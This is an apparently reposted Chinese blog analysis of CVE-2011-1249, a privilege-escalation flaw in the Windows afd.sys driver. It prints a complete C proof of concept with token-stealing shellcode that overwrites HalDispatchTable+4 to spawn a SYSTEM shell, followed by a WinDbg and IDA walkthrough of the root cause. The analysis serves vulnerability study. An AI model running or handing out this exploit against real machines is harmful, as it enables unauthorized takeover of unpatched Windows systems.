最近在学习内网渗透,在提权的时间遇到了利用CVE-2011-1249漏洞进行提权,通过在网上找到了POC,通过看源码来分析一下漏洞点。
首先正常系统运行cmd程序,通过任务管理器可以看到运行是administrator用户。
利用CVE-2011-1249POC脚本运行,通过任务管理器可以看到运行是system用户。
CVE-2011-1249POC:
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef ULONG ( __stdcall *NtQueryIntervalProfile_)(ULONG, PULONG);
typedef ULONG ( __stdcall *NtQuerySystemInformation_)(ULONG, PVOID, ULONG, PULONG);
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
NtQueryIntervalProfile_ NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;
void _declspec(naked) ShellCode() {
__asm {
pushad
pushfd
mov esi,PsReferencePrimaryToken
FindTokenOffset:
lodsb
cmp al, 8Dh;
jnz FindTokenOffset
mov edi,[esi+1]
mov esi,PsInitialSystemProcess
mov esi,[esi]
push fs:[124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret
}
}
int main(int argc, char* argv[]) {
HMODULE ntdll = GetModuleHandle("ntdll.dll");
NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress(ntdll ,"NtQueryIntervalProfile");
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress(ntdll ,"NtAllocateVirtualMemory");
NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll ,"NtQuerySystemInformation");
if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL) {
printf("Get ntdll function error.");
return 0;
}
ULONG status, NtoskrnlBase;
RTL_PROCESS_MODULES module;
status = NtQuerySystemInformation(11, &module, sizeof(RTL_PROCESS_MODULES), NULL);
if (status != 0xC0000004) {
printf("Query System Information error.");
return 0;
}
NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;
HMODULE ntoskrnl;
ntoskrnl = LoadLibraryA((LPCSTR)(module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName));
if (ntoskrnl == NULL) {
printf("Ntoskrnl error.");
return 0;
}
WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2;
PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
if (VirtualAlloc((PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE) == NULL) {
printf("VirtualAlloc error.");
return 0;
}
memset((PVOID)0x02070000, 0x90, 0x20000);
memcpy((PVOID)0x02080000, ShellCode, 100);
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2),&wsaData);
SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr;
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
sockaddr.sin_port = htons(0);
connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
DWORD dwBuffer[0x30];
dwBuffer[3] = 1;
dwBuffer[4] = 0x20;
DWORD bytesRet;
DeviceIoControl((HANDLE)s, 0x12007, (PVOID)dwBuffer, 0x60, (PVOID)WriteToHalDispatchTable, 0x0, &bytesRet, NULL);
NtQueryIntervalProfile(2, &status);
ShellExecute(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
closesocket(s);
WSACleanup();
return 0;
}
通过97-107行代码主要在使用socket套接字初始化了一个回送地址测试链接。DeviceIoControl用于发送控制代码到指定设备的驱动程序,在下边使用DeviceIoControl给socket发送一个0x12007控制码。程序在DeviceIoControl中还使用了WriteToHalDispatchTable作为变量指向输出缓冲区的指针。通过POC是在HalDispatchTable这个地址偏移4的位置利用内核漏洞,将ShellCode写入到这个位置,然后用NtQueryIntervalProfile函数执行。
漏洞原理分析
这里为驱动程序的入口函数,位于0x0002DE40位置的DriverEntry()。
在函数中主要看一下0x0002E08E位置流程快。
通过IDA中的F5键,将这部分代码转换为伪C代码。在这里我们就可以清晰地看到关于分发函数的设置。在Windows内核中,有一种数据结构叫IRP,它是与I/O相关的一种重要数据结构。上层应用程序(Ring3)与底层驱动程序(Ring0)通信时,应用程序就会发出I/O请求。操作系统将I/O请求转化为相应的IRP数据结构,不同类型的IRP会根据类型的不同而传递到不同的分发函数内,IRP会在分发函数中得到处理。IRP拥有两个基本属性——MajorFunction和MinorFunction,分别用于存储IRP的主类型和子类型。操作系统根据MajorFunction将IRP分发到不同的分发函数中,在分发函数中还可以继续判断这个IRP属于哪一种MinorFunction。
于是在100行的memset32()函数会把AfdDispatch全部赋给DriverObject->MajorFunction,也就是将驱动对象的IRP主类型全都设置成AfdDispatch函数。之后在第101行,又将下标为14的DriverObject->MajorFunction设置成了AfdDispatchDeviceControl。
这里通过双击调试,在进入系统中进行中断,输入“!drvobj afd 2”命令进行观察,DriverObject->MajorFunction下标为14的是IRP_MJ_DEVICE_CONTROL。
在102行中程序将DriverObject->FastIoDispatch设置成了AfdFastIoDispatch,FastIoDispatch指针指向的是定义驱动程序快速I/O的入口点结构,该成员仅由FSD和网络传输驱动程序使用。在103行DriverObject->DriverUnload被设置成了AfdUnload,AfdUnload是一个驱动卸载函数。
进入AfdDispatchDeviceControl,在这个函数中有_AfdIoctlTable和_AfdIrpCallDispatch两个结构需要注意。通过反汇编可以发现_AfdIoctlTable需要与寄存器中的值,也就是控制码值进行比较,如果他们相等程序才会继续向下执行。
ba e1 afd!AfdDispatchDeviceControl+0x28 ".if(@edi==0x12007){}.else{gc}"
利用双机调试输入如上代码,如多edi等于0x12007也就是POC中的控制码就会进行断掉。通过图片可以看到断在了AfdIoctlTable的位置。AfdIrpCallDispatch结构的基地址为0xb1f4f1b8,esi可以理解为它的偏移,也就是4,因此控制码0x12007所对应的函数地址就是0xb1f4f1bc,这里WinDbg已经给我们解析出来了,是AfdConnect函数。这里首先找到了AfdIrpCallDispatch结构的第二处地址为0xb1f50c55,然后通过ln命令列出就近的符号,就可以确定这个位置是afd模块中的AfdConnect()函数了。
在PoC中代码会改写HalDispatchTable结构,通过dd命令查看这个结构的内容。
我们重点关注的是以其基地址作为开始,偏移为4的内容,因为内核漏洞经常修改这个地方的内容以植入ShellCode,可以在这里下一个断点,当这个地方的内存出现读写操作时,就被断下来:
可以看到,此时被断下的位置是afd!AfdConnectApcKernelRoutine,说明就是这个位置改写了HalDispatchTable结构,或者也可以说,漏洞的根源就在于这个函数的内部。此时可以使用kn来看一下栈回溯的情况:
这里可以找到我们最开始发现的控制码所对应的函数afd!AfdConnect,更能看到整个的调用流程,这对于我们理解AfdConnect函数的实现机制还是很有帮助的。通过断点所断下的位置,我们知道当前程序在0xb1f5239d位置的or语句处被断下,此时HalDispatchTable结构已经被改写了,通过dd命令查看。
到这里已经被修改了,也就是说,一会程序就会执行位于0x0207bfba位置的ShellCode代码。通过windbg的Disassembly查看AfdConnectApcKernelRoutine这个函数:
于是可以知道,实现改写的是位于0xb1f5239b的mov语句,通过查看各个寄存器的内容可以知道,这里eax的值正是HalDispatchTable结构的地址空间,也就是PoC代码的输出缓冲区的空间,这个值是可以由自己指定的,ShellCode的地址接下来就会通过ecx的赋值操作被写入到这里。
至此就弄清楚了漏洞的成因,通过调用DeviceIoControl这个函数,将输出地址设置成HalDispatchTable结构的地址空间,而驱动程序对于这个地址的合法性并没有做严格的检查,就导致写入内核地址之后,再经过一系列的操作,就可以实现提权。
HalDispatchTable结构偏移为4的地址位置会被执行,我们用g命令让程序继续执行,可以看到程序又在我们刚才下的内存读写断点,即0x0207bfba的位置被断下了,说明此处的ShellCode已经开始被执行了,然后我们看一下栈回溯的情况:
由栈空间的情况我们可以知道,当前的ShellCode是被nt!KeQueryIntervalProfile函数所调用的,这在原始的PoC代码中也看到了。我们使用ub命令反汇编一下这个函数,主要看一下函数偏移为0x37位置上方的代码:
ub nt!KeQueryTntervalProfile+0x37
可以看到,这个函数的一项功能就是调用nt!HalDispatchTable+0x4位置的语句,于是也就解释了,为什么内核漏洞的利用代码,总喜欢拿这个位置做文章了。
原文始发于微信公众号(我真不会渗透):CVE-2011-1249漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论